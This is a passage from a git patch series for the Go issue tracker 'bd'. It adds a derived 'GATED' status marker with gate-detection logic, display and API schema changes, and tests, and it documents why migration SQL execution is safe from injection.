exactly what +// formatIssueHeader always did. +func formatIssueHeaderWithGates(issue *types.Issue, gates []*types.Issue) string { // Get status icon and style statusIcon := ui.RenderStatusIcon(string(issue.Status)) statusStyle := ui.GetStatusStyle(string(issue.Status)) @@ -72,10 +83,17 @@ func formatIssueHeader(issue *types.Issue) string { tierEmoji = " 📦" } + // Derived gate marker (wy-j2upyy): an open gate holds this issue out of + // bd ready, so the header says so. + gatedStr := "" + if len(gates) > 0 { + gatedStr = " · " + ui.StatusBlockedStyle.Render("GATED") + } + // Build header: STATUS_ICON ID · Title [Priority · STATUS] idStyled := ui.RenderAccent(issue.ID) - return fmt.Sprintf("%s %s%s · %s%s [%s · %s]", - statusIcon, idStyled, typeBadge, issue.Title, tierEmoji, priorityTag, statusStr) + return fmt.Sprintf("%s %s%s · %s%s [%s · %s%s]", + statusIcon, idStyled, typeBadge, issue.Title, tierEmoji, priorityTag, statusStr, gatedStr) } // formatIssueMetadata returns the metadata line(s) with grouped info @@ -83,6 +101,15 @@ func formatIssueHeader(issue *types.Issue) string { // // Created: 2026-01-06 · Updated: 2026-01-08 func formatIssueMetadata(issue *types.Issue) string { + return formatIssueMetadataWithGates(issue, nil) +} + +// formatIssueMetadataWithGates is formatIssueMetadata plus one "Gated by:" +// line per active gate, beside the Deferred: line the time row carries: a +// deferred AND gated issue shows both, because they are two different reasons +// the work is not startable. A gate that has been resolved (closed) is not in +// the set and renders nothing. +func formatIssueMetadataWithGates(issue *types.Issue, gates []*types.Issue) string { var lines []string // Line 1: Created by/Assignee · Type @@ -126,6 +153,11 @@ func formatIssueMetadata(issue *types.Issue) string { lines = append(lines, strings.Join(timeParts, " · ")) } + // Line 3+: one line per gate actively blocking this issue. + for _, gate := range gates { + lines = append(lines, formatGatedByLine(gate)) + } + // Lease line: only when an active lease is held (in_progress + non-null // lease_expires_at). row_lock is internal and never surfaced. if issue.Status == types.StatusInProgress && issue.LeaseExpiresAt != nil { @@ -578,3 +610,22 @@ func formatMetadataValue(v any) string { return string(b) } } + +// formatGatedByLine renders one gate on bd show's meta block: +// +// Gated by: bd-abc (human: Need design review) +// Gated by: bd-def (gh:pr, awaiting 42) +// +// The parenthetical is the gate's own record — its await type, the reason its +// creator gave, and what it is waiting on — so the reader can act on the gate +// without a second lookup. +func formatGatedByLine(gate *types.Issue) string { + detail := types.GateKind(gate) + if reason := types.GateReason(gate.Description); reason != "" { + detail += ": " + reason + } + if gate.AwaitID != "" { + detail += ", awaiting " + gate.AwaitID + } + return fmt.Sprintf("Gated by: %s (%s)", gate.ID, detail) +} diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 7aa739a38..71f278c78 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -528,13 +528,27 @@ func runShowProxiedDefault(ctx context.Context, uw uow.UnitOfWork, in *showProxi } func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Issue, isWisp bool, in *showProxiedInput, idx int, formatTime func(time.Time) string) { + // The outgoing edges are read here rather than at the DEPENDS ON section + // below because the header needs them: the derived GATED marker + // (wy-j2upyy) is the gate-typed subset of this very set. Without it the + // proxied text route renders a plain OPEN header for a bead whose own + // --json already publishes gated_by. Best effort, as it always was. + // + // Counts first — see readDepCounts for why the order matters. The + // listing's error is KEPT, not discarded: rendering stays best effort, + // but a FAILED listing and a SHORT one both leave the slice empty, and + // only the second is an unresolvable edge. + depCountsSnapshot := readDepCounts(ctx, proxiedDepCounter{src: workapi.NewUOWDetailSource(uw), isWisp: isWisp}, issue.ID) + depsWithMeta, depsErr := proxiedListDeps(ctx, uw, issue.ID, isWisp, domain.DepListFilter{Direction: domain.DepDirectionOut}) + gates := types.GatesHolding(issue, depsWithMeta) + if idx > 0 { fmt.Println("\n" + ui.RenderMuted(strings.Repeat("─", 60))) - fmt.Printf("\n%s\n", formatIssueHeader(issue)) + fmt.Printf("\n%s\n", formatIssueHeaderWithGates(issue, gates)) } else { - fmt.Printf("%s\n", formatIssueHeader(issue)) + fmt.Printf("%s\n", formatIssueHeaderWithGates(issue, gates)) } - fmt.Println(formatIssueMetadata(issue)) + fmt.Println(formatIssueMetadataWithGates(issue, gates)) if issue.Description != "" { fmt.Printf("\n%s\n%s\n", ui.RenderBold("DESCRIPTION"), uimd.RenderMarkdown(issue.Description)) @@ -576,13 +590,7 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss relatedSeen := make(map[string]*types.IssueWithDependencyMetadata) - // Counts first — see readDepCounts for why the order matters. - depCountsSnapshot := readDepCounts(ctx, proxiedDepCounter{src: workapi.NewUOWDetailSource(uw), isWisp: isWisp}, issue.ID) - - // The errors are KEPT, not discarded: rendering stays best effort, but a - // FAILED listing and a SHORT one both leave the slice empty, and only the - // second is an unresolvable edge. - depsWithMeta, depsErr := proxiedListDeps(ctx, uw, issue.ID, isWisp, domain.DepListFilter{Direction: domain.DepDirectionOut}) + // (read above, with the header's gate decoration). for _, sec := range groupDepSections(depsWithMeta, true, relatedSeen) { printDepSection(sec) } diff --git a/cmd/bd/state.go b/cmd/bd/state.go index 6478c77b5..a3ad36623 100644 --- a/cmd/bd/state.go +++ b/cmd/bd/state.go @@ -197,7 +197,10 @@ func runSetState(ctx context.Context, issueID, dimension, newValue, reason strin eventDesc = fmt.Sprintf("Set %s to %s", dimension, newValue) } if reason != "" { - eventDesc += "\n\nReason: " + reason + // The same marker types.GateDescription writes, from the one constant + // that owns its spelling — types.GateReason reads any description + // carrying it, so the two writers must not drift apart by accident. + eventDesc += types.ReasonMarker + reason } lifecycle, err := openIssueLifecycle() diff --git a/docs/reference/json-schema.md b/docs/reference/json-schema.md index c21170240..8f2f19e7c 100644 --- a/docs/reference/json-schema.md +++ b/docs/reference/json-schema.md @@ -206,6 +206,19 @@ items, plus: - `comments_omitted` (boolean, optional): `true` only when `comment_count` is nonzero and `comments` was left out of the response (no `--include-comments`). Absent when comments were included or when there are none to omit (ga-clgh) +- `gated_by` (object[], optional): The gates actively blocking this issue, each + `{id, type, reason}` — the gate bead to resolve, its await condition (`human`, + `timer`, `gh:run`, `gh:pr`, `bead`, or `gate` when it carries none), and the + reason recorded at creation. A gate counts when it is reached over a `blocks` + or `conditional-blocks` edge, is itself neither closed nor pinned, and the + issue is neither closed nor pinned; a `waits-for` edge onto a gate does not + count, because that leg of the readiness rule is a fanout over the gate's + children rather than a status test. Absent when nothing gates the issue. + DERIVED, not stored: `status` is unaffected, and a nonempty list means + `bd ready` withholds the issue on a gate's account. The converse does not + hold: only the issue's own edges count, so a child of a gated parent, which + `bd ready` also withholds because a blocked parent blocks its children, + carries no `gated_by` ### `import --json` diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 5524c88f3..ba3404224 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -7166,6 +7166,34 @@ components: comment_count: type: integer format: int64 + gated_by: + type: array + description: >- + The gates actively blocking this issue: gate-typed dependencies + reached over a `blocks` or `conditional-blocks` edge whose own + status is neither closed nor pinned, on an issue that is itself + neither closed nor pinned. ADDITIVE and absent when empty. It is + DERIVED, not stored — `status` is unaffected, and an open issue an + open gate blocks still reports `open` — and both clauses are the + ones the readiness query's is_blocked column applies, so a nonempty + list means `bd ready` withholds this issue on a gate's account. + A `waits-for` edge onto a gate is deliberately NOT here: that leg + of the readiness rule is a fanout over the gate's children rather + than a status test, and it can leave the issue ready. + items: + type: object + properties: + id: + type: string + description: The gate issue's id; close it with `bd gate resolve`. + type: + type: string + description: >- + The gate's await condition (human, timer, gh:run, gh:pr, + bead), or `gate` when it carries none. + reason: + type: string + description: The reason recorded when the gate was created, if any. comments_omitted: type: boolean description: >- diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index ff6021bb6..19f8d2791 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -2473,6 +2473,13 @@ "type": "string", "required": false }, + { + "schema": "IssueDetails", + "member": "gated_by", + "type": "array", + "required": false, + "item_type": "object" + }, { "schema": "IssueDetails", "member": "heartbeat_at", @@ -2698,6 +2705,24 @@ "type": "string", "required": false }, + { + "schema": "IssueDetails.gated_by[]", + "member": "id", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails.gated_by[]", + "member": "reason", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails.gated_by[]", + "member": "type", + "type": "string", + "required": false + }, { "schema": "IssuePatchBody", "member": "acceptance_criteria", diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel index 1b2a611cf..d81695be6 100644 --- a/internal/types/BUILD.bazel +++ b/internal/types/BUILD.bazel @@ -3,6 +3,7 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "types", srcs = [ + "gated.go", "id_generator.go", "non_completing_close.go", "orphans.go", @@ -17,6 +18,7 @@ go_test( name = "types_test", srcs = [ "explain_test.go", + "gated_test.go", "id_generator_test.go", "issue_summary_test.go", "non_completing_close_test.go", diff --git a/internal/types/gated.go b/internal/types/gated.go new file mode 100644 index 000000000..d0e2467cd --- /dev/null +++ b/internal/types/gated.go @@ -0,0 +1,185 @@ +package types + +import "strings" + +// This file holds the ONE rule by which an issue counts as GATED, and the +// projection of a gate onto the wire. +// +// GATED IS DERIVED, NEVER STORED. `bd gate create --blocks X` writes a gate +// issue plus an ordinary blocking dependency X -> gate; nothing on X changes. +// `bd ready` then drops X through the denormalized is_blocked column, and the +// rule here is the subset of that column's recompute +// (internal/storage/issueops/blocked_consistency.go) a gate can account for: +// +// - the EDGE clause, from the recompute's first two union legs: the edge is +// 'blocks' or 'conditional-blocks' and the target is neither closed nor +// pinned (IsGateEdge + the status test in GateIsHolding); +// - the SUBJECT clause, from unmarkAllBlockedSQL, which forces is_blocked=0 +// for a closed or pinned subject whatever its edges say (SubjectCanBeGated). +// +// Both halves live here, in one predicate every surface asks, so a glyph, a +// header and a gated_by field cannot disagree with each other or with `bd +// ready` about the same bead. +// +// WAITS-FOR IS DELIBERATELY OUT. The recompute's waits-for leg does not apply +// the closed/pinned status test at all: it goes through waitsForGateBlockedSQL +// (internal/storage/issueops/blocked_state.go), which blocks only when the +// target has an OPEN parent-child child, or metadata.also_blocks names an open +// spawner. A plain `bd dep add X G -t waits-for` onto an open childless gate +// therefore leaves X in `bd ready`, and decorating it would be exactly the +// drift this file exists to prevent. Mirroring that leg in Go would be a +// second implementation of a rule the database already owns; a decoration that +// covers the fanout case is its own bead, not this one. + +// GateRef is a gate projected for a caller: the id to resolve, what kind of +// wait it is, and why. It is what `gated_by` carries on the detail view. +type GateRef struct { + ID string `json:"id"` + // Type is the gate's await condition (human, timer, gh:run, gh:pr, bead); + // "gate" when the issue carries no await type, which is what a gate made + // with a bare `bd create --type gate` looks like. + Type string `json:"type,omitempty"` + // Reason is the free text `bd gate create --reason` recorded, empty when + // the gate was created without one. + Reason string `json:"reason,omitempty"` +} + +// IsGateEdge reports whether a dependency of this type is one whose target's +// status alone decides blockedness — the two legs of the is_blocked recompute +// that carry "target not closed and not pinned". It is NOT +// DependencyType.IsBlockingEdge, which also admits waits-for; see the file +// comment. +func IsGateEdge(depType DependencyType) bool { + return depType == DepBlocks || depType == DepConditionalBlocks +} + +// SubjectCanBeGated reports whether an issue's OWN status admits the gate +// decoration. A closed or pinned issue never does: unmarkAllBlockedSQL clears +// is_blocked for those two statuses unconditionally, so `bd ready` withholds +// them for reasons that have nothing to do with a gate, and a "GATED" marker +// on such a row would claim a causation that is not there. +// +// The listing route asks this without hydrated dependencies, which is why the +// clause is exported rather than buried inside GatesHolding. +func SubjectCanBeGated(subject *Issue) bool { + if subject == nil { + return false + } + return subject.Status != StatusClosed && subject.Status != StatusPinned +} + +// GateIsHolding reports whether target, reached over a dependency of type +// depType, is a gate that is currently holding its dependent back. It is the +// EDGE half of the rule; the caller still owes the subject half, which is what +// GatesHolding exists to keep it from forgetting. +func GateIsHolding(depType DependencyType, target *Issue) bool { + if target == nil || target.IssueType != TypeGate { + return false + } + if !IsGateEdge(depType) { + return false + } + return target.Status != StatusClosed && target.Status != StatusPinned +} + +// GatesHolding selects, from subject's hydrated dependencies, the gates that +// are actively holding subject back, in the order the dependencies arrived. +// +// THE one predicate: every gated decoration — `bd show`'s header and meta +// lines, `bd list`'s glyph, the agent line, the detail view's gated_by — comes +// from this function or from the pair it is built out of, so a nonempty result +// means `bd ready` withholds subject on a gate's account. Not the converse: +// only subject's own edges are read, so a child of a gated parent, withheld +// through the recompute's parent-child leg, selects no gate here. +func GatesHolding(subject *Issue, deps []*IssueWithDependencyMetadata) []*Issue { + if !SubjectCanBeGated(subject) { + return nil + } + var gates []*Issue + for _, dep := range deps { + if dep == nil { + continue + } + issue := dep.Issue + if GateIsHolding(dep.DependencyType, &issue) { + gate := issue + gates = append(gates, &gate) + } + } + return gates +} + +// GateKind names a gate's await condition for display, falling back to the +// issue type when the gate carries none. +func GateKind(gate *Issue) string { + if gate == nil { + return "" + } + if gate.AwaitType != "" { + return gate.AwaitType + } + return string(TypeGate) +} + +// NewGateRef projects one gate issue onto the wire shape. +func NewGateRef(gate *Issue) GateRef { + if gate == nil { + return GateRef{} + } + return GateRef{ + ID: gate.ID, + Type: GateKind(gate), + Reason: GateReason(gate.Description), + } +} + +// GateRefs projects a gate set, returning nil for an empty one so the field +// stays absent rather than serializing an empty array. +func GateRefs(gates []*Issue) []GateRef { + if len(gates) == 0 { + return nil + } + refs := make([]GateRef, 0, len(gates)) + for _, gate := range gates { + refs = append(refs, NewGateRef(gate)) + } + return refs +} + +// ReasonMarker separates a generated description from the free-text reason its +// author gave. The reason has no column of its own, so the description is +// where it lives. +// +// It is SHARED, not gate-private: `bd gate create` writes it through +// GateDescription, and `bd state`'s state-change EVENT descriptions write the +// same marker (cmd/bd/state.go). One exported constant so the spelling cannot +// drift between them — and so the sharing is visible rather than a coincidence +// two files have to keep on purpose. +const ReasonMarker = "\n\nReason: " + +// GateDescription builds an ad-hoc gate's description. `bd gate create` is its +// only writer. +func GateDescription(targetID, reason string) string { + desc := "Ad-hoc gate blocking " + targetID + if reason != "" { + desc += ReasonMarker + reason + } + return desc +} + +// GateReason recovers the reason GateDescription recorded, or "" when the +// description carries no marker. +// +// It is a TEXT read-back, not proof of provenance: ReasonMarker is shared (see +// its doc), so any description containing it yields a reason here — a gate +// written by hand with that spelling included. What the pair does guarantee is +// the round trip: what GateDescription wrote, this returns. `bd gate create` +// (cmd/bd/gate.go) is the only GateDescription caller today, so every gate +// whose reason this reports is one it recorded. +func GateReason(description string) string { + idx := strings.Index(description, ReasonMarker) + if idx < 0 { + return "" + } + return strings.TrimSpace(description[idx+len(ReasonMarker):]) +} diff --git a/internal/types/gated_test.go b/internal/types/gated_test.go new file mode 100644 index 000000000..9e831fcde --- /dev/null +++ b/internal/types/gated_test.go @@ -0,0 +1,163 @@ +package types + +import "testing" + +func gateIssue(id string, status Status) *Issue { + return &Issue{ID: id, IssueType: TypeGate, Status: status, AwaitType: "human"} +} + +func TestGateIsHolding(t *testing.T) { + tests := []struct { + name string + depType DependencyType + target *Issue + want bool + }{ + {"open gate over a blocks edge", DepBlocks, gateIssue("g1", StatusOpen), true}, + {"open gate over conditional-blocks", DepConditionalBlocks, gateIssue("g1", StatusOpen), true}, + // waits-for is NOT the same rule: the is_blocked recompute sends that + // leg through waitsForGateBlockedSQL (fanout over the target's OPEN + // parent-child children, or metadata.also_blocks with an open spawner), + // never the closed/pinned status test. A plain waits-for edge onto an + // open childless gate leaves the dependent IN bd ready, so decorating it + // would make the surfaces disagree with readiness. + {"open gate over waits-for", DepWaitsFor, gateIssue("g1", StatusOpen), false}, + {"closed gate", DepBlocks, gateIssue("g1", StatusClosed), false}, + {"pinned gate", DepBlocks, gateIssue("g1", StatusPinned), false}, + // parent-child is structural: it propagates blockedness through the + // is_blocked recompute, not as a direct blocking edge. Inheritance is + // its own question (wy-raudbw) and must not sneak in here. + {"gate over a parent-child edge", DepParentChild, gateIssue("g1", StatusOpen), false}, + {"gate over a relates-to edge", DepRelatesTo, gateIssue("g1", StatusOpen), false}, + {"open non-gate blocker", DepBlocks, &Issue{ID: "b1", IssueType: TypeTask, Status: StatusOpen}, false}, + {"nil target", DepBlocks, nil, false}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := GateIsHolding(tt.depType, tt.target); got != tt.want { + t.Errorf("GateIsHolding(%s, %v) = %v, want %v", tt.depType, tt.target, got, tt.want) + } + }) + } +} + +func TestGatesHoldingSelectsOnlyLiveGates(t *testing.T) { + deps := []*IssueWithDependencyMetadata{ + {Issue: *gateIssue("open-gate", StatusOpen), DependencyType: DepBlocks}, + {Issue: *gateIssue("closed-gate", StatusClosed), DependencyType: DepBlocks}, + {Issue: Issue{ID: "plain", IssueType: TypeTask, Status: StatusOpen}, DependencyType: DepBlocks}, + {Issue: *gateIssue("second-gate", StatusOpen), DependencyType: DepConditionalBlocks}, + nil, + } + gates := GatesHolding(&Issue{ID: "subject", Status: StatusOpen}, deps) + if len(gates) != 2 { + t.Fatalf("GatesHolding returned %d gates, want 2: %+v", len(gates), gates) + } + if gates[0].ID != "open-gate" || gates[1].ID != "second-gate" { + t.Errorf("GatesHolding = %s,%s; want open-gate,second-gate in dependency order", gates[0].ID, gates[1].ID) + } +} + +// TestGatesHoldingSubjectStatus pins the SUBJECT-side half of the rule. The +// is_blocked recompute's unmark leg (unmarkAllBlockedSQL) forces is_blocked=0 +// for a closed or pinned subject whatever its dependencies say, so `bd ready` +// never withholds such a bead on a gate's account and no surface may claim it +// is gated. +func TestGatesHoldingSubjectStatus(t *testing.T) { + deps := []*IssueWithDependencyMetadata{ + {Issue: *gateIssue("open-gate", StatusOpen), DependencyType: DepBlocks}, + } + tests := []struct { + name string + subject *Issue + want int + }{ + {"open subject", &Issue{ID: "s1", Status: StatusOpen}, 1}, + {"in_progress subject", &Issue{ID: "s1", Status: StatusInProgress}, 1}, + {"deferred subject", &Issue{ID: "s1", Status: StatusDeferred}, 1}, + {"closed subject", &Issue{ID: "s1", Status: StatusClosed}, 0}, + {"pinned subject", &Issue{ID: "s1", Status: StatusPinned}, 0}, + {"nil subject", nil, 0}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := GatesHolding(tt.subject, deps); len(got) != tt.want { + t.Errorf("GatesHolding(%v) returned %d gates, want %d", tt.subject, len(got), tt.want) + } + }) + } +} + +// SubjectCanBeGated is the clause on its own, because the listing route reaches +// it without hydrated dependencies and must ask the SAME question. +func TestSubjectCanBeGated(t *testing.T) { + for _, tt := range []struct { + status Status + want bool + }{ + {StatusOpen, true}, + {StatusInProgress, true}, + {StatusBlocked, true}, + {StatusDeferred, true}, + {StatusClosed, false}, + {StatusPinned, false}, + } { + if got := SubjectCanBeGated(&Issue{ID: "s1", Status: tt.status}); got != tt.want { + t.Errorf("SubjectCanBeGated(%s) = %v, want %v", tt.status, got, tt.want) + } + } + if SubjectCanBeGated(nil) { + t.Error("SubjectCanBeGated(nil) = true, want false") + } +} + +func TestGatesHoldingEmpty(t *testing.T) { + if got := GatesHolding(&Issue{ID: "subject", Status: StatusOpen}, nil); got != nil { + t.Errorf("GatesHolding(subject, nil) = %v, want nil", got) + } +} + +func TestGateDescriptionRoundTrip(t *testing.T) { + desc := GateDescription("bd-abc", "Need design review") + if got := GateReason(desc); got != "Need design review" { + t.Errorf("GateReason(%q) = %q, want the reason back", desc, got) + } + bare := GateDescription("bd-abc", "") + if got := GateReason(bare); got != "" { + t.Errorf("GateReason(%q) = %q, want empty", bare, got) + } + if got := GateReason("a description written by something else"); got != "" { + t.Errorf("GateReason on a foreign description = %q, want empty", got) + } + // The marker is SHARED (cmd/bd/state.go writes it on state-change events), + // so this is a text read-back and not a provenance check. Pinned so the + // doc comment and the behavior cannot drift: any description carrying the + // marker yields a reason. + if got := GateReason("Changed state from a to b" + ReasonMarker + "because"); got != "because" { + t.Errorf("GateReason on a shared-marker description = %q, want %q", got, "because") + } +} + +func TestGateRefsProjection(t *testing.T) { + if got := GateRefs(nil); got != nil { + t.Errorf("GateRefs(nil) = %v, want nil so the field stays absent", got) + } + gate := &Issue{ + ID: "g1", + IssueType: TypeGate, + Status: StatusOpen, + AwaitType: "gh:pr", + Description: GateDescription("bd-abc", "waiting on review"), + } + refs := GateRefs([]*Issue{gate, {ID: "g2", IssueType: TypeGate, Status: StatusOpen}}) + if len(refs) != 2 { + t.Fatalf("GateRefs returned %d refs, want 2", len(refs)) + } + if refs[0] != (GateRef{ID: "g1", Type: "gh:pr", Reason: "waiting on review"}) { + t.Errorf("refs[0] = %+v", refs[0]) + } + // A gate with no await type still names a kind rather than an empty one. + if refs[1] != (GateRef{ID: "g2", Type: "gate"}) { + t.Errorf("refs[1] = %+v, want the gate fallback kind and no reason", refs[1]) + } +} diff --git a/internal/types/types.go b/internal/types/types.go index 88a276cb2..7992ed893 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1263,6 +1263,19 @@ type IssueDetails struct { // Comments slice or a zero count: a true empty stays plain omission. CommentsOmitted *bool `json:"comments_omitted,omitempty"` + // GatedBy names the gates actively blocking this issue — the derived + // GATED decoration `bd show` renders in its header, as data. ADDITIVE and + // omitted when empty: nothing else on this view changes shape, and the + // stored status stays whatever it is (an open issue an open gate blocks + // still reads "open" here). The rule is types.GatesHolding — the gate + // clause of the readiness query's is_blocked column, subject half + // included — so a nonempty list means `bd ready` withholds the issue on a + // gate's account, and a closed or pinned issue carries no gated_by at all. + // The converse does not hold: only the issue's own edges count, so a child + // of a gated parent, which `bd ready` withholds through the parent-child + // leg, carries no gated_by. + GatedBy []GateRef `json:"gated_by,omitempty"` + // UnresolvableDependencies / UnresolvableDependents count the edges // DependencyCount / DependentCount include that the Dependencies / // Dependents slices could not represent, because the issue on the far diff --git a/internal/ui/styles.go b/internal/ui/styles.go index d16dfe335..ecaa0b999 100644 --- a/internal/ui/styles.go +++ b/internal/ui/styles.go @@ -303,6 +303,13 @@ const ( StatusIconDeferred = "❄" // scheduled for later (snowflake) StatusIconPinned = "📌" // elevated priority StatusIconCustom = "◇" // custom/uncategorized status (diamond) + // StatusIconGated marks an issue an OPEN gate blocks (bd gate create + // --blocks). It is a DERIVED decoration, not a stored status: the row's + // status is untouched and only the glyph column changes. Circle family, + // like ○ ◐ ●, so it reads as a sibling of the status icons rather than as + // a badge — barred rather than hollow, because the work exists and cannot + // start. + StatusIconGated = "⊘" // blocked by an open gate (barred circle) ) // RenderStatusIcon returns the appropriate icon for a status with semantic coloring. diff --git a/internal/workapi/detail.go b/internal/workapi/detail.go index acd5cc7e9..172f13cca 100644 --- a/internal/workapi/detail.go +++ b/internal/workapi/detail.go @@ -145,6 +145,16 @@ func BuildIssueDetails(ctx context.Context, src DetailSource, issue *types.Issue deps, depsErr := src.Dependencies(ctx, id, isWisp) details.Dependencies = deps + // The gates blocking this issue are the gate-typed subset of the + // dependencies JUST read (types.GatesHolding, the one predicate the + // readiness query's is_blocked column encodes — subject clause included, + // so a closed or pinned issue publishes no gated_by), which costs no extra + // query. The order is load-bearing twice over: computed AFTER the + // Dependencies read above (an earlier slot sees the nil slice and + // publishes no gate at all) and BEFORE the BriefDeps trim below, which + // rewrites the slice. + details.GatedBy = types.GateRefs(types.GatesHolding(issue, details.Dependencies)) + // The count counts edge ROWS; the slice carries the issues on the far // end, and drops any whose id has no row in this database. The two // therefore disagree by exactly the cross-repo and `external:` edges, diff --git a/internal/workapi/detail_test.go b/internal/workapi/detail_test.go index ecbd0fb38..432d061ca 100644 --- a/internal/workapi/detail_test.go +++ b/internal/workapi/detail_test.go @@ -819,3 +819,58 @@ func deref(t *testing.T, v *int64) int64 { } return *v } + +// TestBuildIssueDetailsGatedByReadsTheDependencies pins the ORDER of the +// build: gated_by is derived from the Dependencies slice, so it must be +// computed after that slice is read and before BriefDeps rewrites it. The +// be-lpi merge moved the read below the counts and silently left gated_by +// computed on a nil slice (wy-j2upyy, PR #6606 CI). +func TestBuildIssueDetailsGatedByReadsTheDependencies(t *testing.T) { + ctx := context.Background() + heavy := strings.Repeat("x", 1024) + + newFixture := func() *detailFixture { + fx := newDetailFixture() + fx.deps["bd-1"] = []*types.IssueWithDependencyMetadata{ + { + Issue: types.Issue{ + ID: "bd-gate", Title: "Gate: human", Status: types.StatusOpen, + IssueType: types.TypeGate, Priority: 2, Description: heavy, + }, + DependencyType: types.DepBlocks, + }, + { + Issue: types.Issue{ID: "bd-blocker", Title: "Blocker", Status: types.StatusOpen, IssueType: types.TypeTask}, + DependencyType: types.DepBlocks, + }, + } + return fx + } + + wantGate := func(t *testing.T, details *types.IssueDetails) { + t.Helper() + if len(details.GatedBy) != 1 { + t.Fatalf("gated_by = %#v, want exactly the one open gate", details.GatedBy) + } + if got := details.GatedBy[0].ID; got != "bd-gate" { + t.Fatalf("gated_by[0].ID = %q, want bd-gate", got) + } + } + + for _, opts := range []DetailOptions{{}, {BriefDeps: true}} { + t.Run(fmt.Sprintf("BriefDeps=%v", opts.BriefDeps), func(t *testing.T) { + fx := newFixture() + store, useCase := fixtureSources(fx) + for name, src := range map[string]DetailSource{"store": store, "usecase": useCase} { + details, err := BuildIssueDetails(ctx, src, fx.issues["bd-1"], false, opts) + if err != nil { + t.Fatalf("%s: BuildIssueDetails: %v", name, err) + } + wantGate(t, details) + if len(details.Dependencies) != 2 { + t.Fatalf("%s: dependencies = %d rows, want 2", name, len(details.Dependencies)) + } + } + }) + } +} From d54defc2cf4e41971672eaf2791cbee118c6a840 Mon Sep 17 00:00:00 2001 From: Kenton Smeltzer Date: Thu, 8 Oct 2026 11:46:47 +0000 Subject: [PATCH 063/213] docs(schema): document the provenance invariant behind execMigrationBody (#6413) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Static analysis (Snyk Code) reports the migration executor's ExecContext / execMigrationBody calls as tainted SQL: migration file content flows into ExecContext verbatim. That flow is the migration contract, not a defect: sqlText is a compile-time embedded migration body (go:embed migrations/*.up.sql, frozen once merged and enforced by scripts/check-migration-hygiene.sh). There is no runtime or user-controlled path into it — migrations ship inside the bd binary, so the file-derived input Snyk models cannot be influenced at runtime. This is hardening-by-documentation: the invariant is spelled out on execMigrationBody, the single choke point every migration body passes through, so auditors and future SAST runs have the rationale in code instead of re-deriving it from the embed directives. No behavior change. --- internal/storage/schema/schema.go | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/internal/storage/schema/schema.go b/internal/storage/schema/schema.go index 29187c54b..5901f9548 100644 --- a/internal/storage/schema/schema.go +++ b/internal/storage/schema/schema.go @@ -1838,6 +1838,11 @@ func scanRowByColumn(rows *sql.Rows) (CallRow, error) { // connection. Bodies that invoke a stored procedure (today 0040 and 0041, both // CALL DOLT_COMMIT) are routed through DrainCall so their result sets are // consumed; all other migrations keep the unchanged ExecContext path. +// +// sqlText is always a compile-time embedded migration body (go:embed above; +// frozen once merged per scripts/check-migration-hygiene.sh) — never runtime +// or user input. Executing it verbatim is the migration contract, so SAST +// "SQL injection" findings on this call are accepted by design. func execMigrationBody(ctx context.Context, db DBConn, sqlText string) error { if !procedureCallRe.MatchString(sqlText) { _, err := db.ExecContext(ctx, sqlText) From 6d21d337ad4e2feec0c25814871c4870bde3ee51 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 12:01:09 +0000 Subject: [PATCH 064/213] feat(httpclient): OSS HTTP client store and roles + a served http conformance leg (contributed from bd-enterprise under MIT) (#7247) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpclient): lift the HTTP client store and roles from bd-enterprise (MIT contribution) Contributed by gascity from bd-enterprise (github.com/gascity/bd-enterprise, internal/enterprise/httpstore @ 49d1df2f6) to OSS beads under the MIT license, with the owner's explicit approval. Every lifted file carries a provenance header naming its source path. Lifted into internal/httpclient: the Store (DoltStorage over the wire), the dial/register glue, the read roles (reader, querier, counters, edges, relations, graph, tree, cycles, stats, config, memories, journal), the write roles (lifecycle, claimer, releaser, deleter, dependency editor, metadata CAS, commenter, batch closer/creator/applier, ready claimer, sweeper), and their tests. The store transport seam (WireClient/WireDialer) and the store-dependent tests deferred from the S2 lift are restored here. Not lifted: the hosted gateway (httpgw/gwauth), box-login, storage profiles and gasworks. dial.go only mentions the gateway in comments. This commit is the mechanical lift and does NOT build yet. It references enterprise-only APIs absent from OSS: issueops.ReadyLister, journalops.Watcher, storage.ServerEnforcedPolicy, the NonCommitGraphBackend/RemoteWorkspaceBackend markers, DoltStorage differences, and BatchCloseRequest.claim_next. The following commits reconcile it with OSS (S3/S4/S5). Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpclient): reconcile the bd-enterprise lift's compile-time API surface against OSS The mechanical lift (02a9dad17) carried several bd-enterprise-only shapes that do not exist in OSS beads: - ReadyLister, journalops.Watcher/StreamWire, and ServerEnforcedPolicy have no OSS wire counterpart; drop the role, its served/journal-watch tests, and the policy enforcement path entirely rather than leave dead code that cannot compile against OSS's apigen types. - claim_hook_gate_test.go exercised a hook surface OSS does not publish. - recordingWire/fakeWire no longer embed a StreamWire double now that no read role can reach a watch stream; testTarget's two conflicting package-scope declarations (store_test.go and helpers_test.go) are split apart as pinnedProjectTarget vs. the generic helper. - unsupported_gen.go is regenerated from scratch against OSS's actual storage.DoltStorage via a new, from-scratch reflection-based generator (internal/storage/unsupportedgen) rather than hand-copied from bd-enterprise's generated output; completeness_test.go's legitimatelyUnsupported map grows the handful of OSS-only or previously-missed methods 